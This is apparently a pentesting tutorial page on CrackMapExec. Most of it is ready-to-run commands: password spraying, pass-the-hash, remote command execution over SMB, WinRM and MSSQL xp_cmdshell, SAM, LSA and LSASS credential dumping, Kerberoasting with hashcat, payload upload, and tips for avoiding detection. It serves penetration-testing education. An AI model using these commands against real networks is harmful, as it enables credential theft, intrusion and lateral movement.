Home > Network Pentesting

CrackMapExec

CrackMapExec (CME) is a powerful post-exploitation and lateral movement tool used in Windows Active Directory environments. It allows pentesters to test credentials at scale, enumerate systems, execute commands remotely, and map privilege relationships across entire networks. CME automates many manual tasks and provides a unified way to interact with SMB, WinRM, LDAP, MSSQL, and more—making it a core tool for internal network pentesting.

Understanding CrackMapExec’s Role

CrackMapExec helps pentesters:

  • Test credentials across entire subnets

  • Identify valid logins

  • Determine local admin access

  • Enumerate users, shares, and passwords

  • Execute remote commands (SMB/WinRM)

  • Dump SAM/LSASS hashes

  • Upload and download files

  • Spray passwords or hashes

  • Move laterally across hosts

It turns credential-based attacks into efficient network-wide operations.

Basic Usage

Scan a Subnet for SMB Access

cme smb 10.10.20.0/24

This identifies SMB-enabled systems and collects OS info.

Test a Single Credential Pair

cme smb 10.10.20.5 -u user -p password

If valid:

SMB         10.10.20.5    [*] Login successful

Credential Testing at Scale

Test Multiple Machines

cme smb 10.10.20.0/24 -u admin -p Passw0rd!

Password Spraying

cme smb 10.10.20.0/24 -u users.txt -p "Winter2025"

Hash Injection (Pass-the-Hash)

cme smb 10.10.20.5 -u admin -H <NTLM_hash>

Hash-based auth works without plaintext passwords.

Kerberos Authentication

cme smb 10.10.20.0/24 -d domain.local -u user -p pass --kerberos

This avoids account lockout and logs less suspicious activity.

Lateral Movement with CME

After successful authentication, CME can execute commands or move laterally.

Execute Remote Commands (SMB)

cme smb 10.10.20.5 -u admin -p pass -x "whoami"

Execute PowerShell Commands

cme smb 10.10.20.5 -u admin -p pass -X "hostname"

Execute Commands via WinRM

cme winrm 10.10.20.5 -u admin -p pass -x "ipconfig"

WinRM execution is stealthier and uses built-in Windows features.

Enumerating Information

Enumerate Shares

cme smb 10.10.20.5 -u user -p pass --shares

Enumerate Logged-In Users

cme smb 10.10.20.5 -u admin -p pass --loggedon-users

Enumerate Local Admins

cme smb 10.10.20.5 -u admin -p pass --local-admins

Enumerate Domain Info (via LDAP)

cme ldap 10.10.20.10 -u user -p pass --kdcHost 10.10.20.10

Enumerate Password Policies

cme smb 10.10.20.5 -u admin -p pass --pass-pol

This helps craft better spraying attacks.

Credential Dumping

When admin access is obtained, CME can extract credentials.

Dump SAM Hashes

cme smb 10.10.20.5 -u admin -p pass --sam

Dump LSA Secrets

cme smb 10.10.20.5 -u admin -p pass --lsa

Dump LSASS (Mimikatz-Style)

cme smb 10.10.20.5 -u admin -p pass --mimikatz

Captured hashes enable:

  • Pass-the-Hash

  • Offline cracking

  • Lateral movement

  • Golden/Silver ticket attacks

File Upload and Download

Upload a File

cme smb 10.10.20.5 -u admin -p pass --upload payload.exe C:\\Windows\\Temp\\payload.exe

Download a File

cme smb 10.10.20.5 -u admin -p pass --download C:\\Windows\\Temp\\log.txt log.txt

Useful for staging tools or retrieving loot.

Kerberoasting with CME

Request Kerberoastable Tickets

cme ldap 10.10.20.10 -u user -p pass --kerberoasting output.txt

Output contains TGS hashes that can be cracked offline.

Crack:

hashcat -m 13100 output.txt wordlist.txt

Kerberoasting is a reliable escalation technique.

MSSQL Interaction

CME supports database-level exploitation.

List Databases

cme mssql 10.10.20.15 -u sa -p pass --get-db

Execute SQL Commands

cme mssql 10.10.20.15 -u sa -p pass -x "SELECT @@version"

Abuse xp_cmdshell

cme mssql 10.10.20.15 -u sa -p pass --enable-xp-cmdshell
cme mssql 10.10.20.15 -u sa -p pass -x "xp_cmdshell 'whoami'"

This enables command execution through SQL Server.

Spray, Pivot, Repeat Workflow

A common CME workflow:

  1. Spray passwords across the domain

  2. Identify valid users

  3. Check which accounts have local admin rights

  4. Dump SAM, LSA, or LSASS to gather more credentials

  5. Use hashes to access more hosts

  6. Execute commands for lateral movement

  7. Enumerate domain tiers

  8. Spread through the network

CME is ideal for this iterative approach.

CME Module Plugins (CrackMapExec Empire Edition)

CME supports modules such as:

  • BloodHound ingestors

  • RDP checking

  • WDIGEST forcing

  • Printer bug exploitation

  • Shadow copy creation

Modules automate common post-exploitation steps.

Stealth and Operational Tips

  • Use Kerberos auth with --kerberos for stealth

  • Avoid large password sprays in small time windows

  • Use hash-based auth to avoid bad passwords

  • Combine CME with Responder/NTLMRelayX for relay chains

  • Use proxychains when working through pivots

  • Avoid spraying using privileged accounts to prevent lockouts

Controlled usage prevents detection and account lockouts.

Why CrackMapExec Mastery Matters

CME gives pentesters a single tool for:

  • Credential validation

  • Domain enumeration

  • Remote command execution

  • Hash dumping

  • Lateral movement

  • Privilege escalation

  • Database exploitation

  • NTLM relay chaining

Mastery of CrackMapExec turns credentials into complete domain compromise.

Intel Dump

  • Check SMB/WinRM access, spray creds, perform PTH

  • Execute commands remotely via SMB or WinRM

  • Enumerate users, shares, policies

  • Dump SAM, LSA, LSASS, Kerberoast tickets

  • Interact with MSSQL and enable xp_cmdshell

  • Use Kerberos for stealth and relaying

  • CME supports lateral movement across entire networks

HOME LEARN COMMUNITY DASHBOARD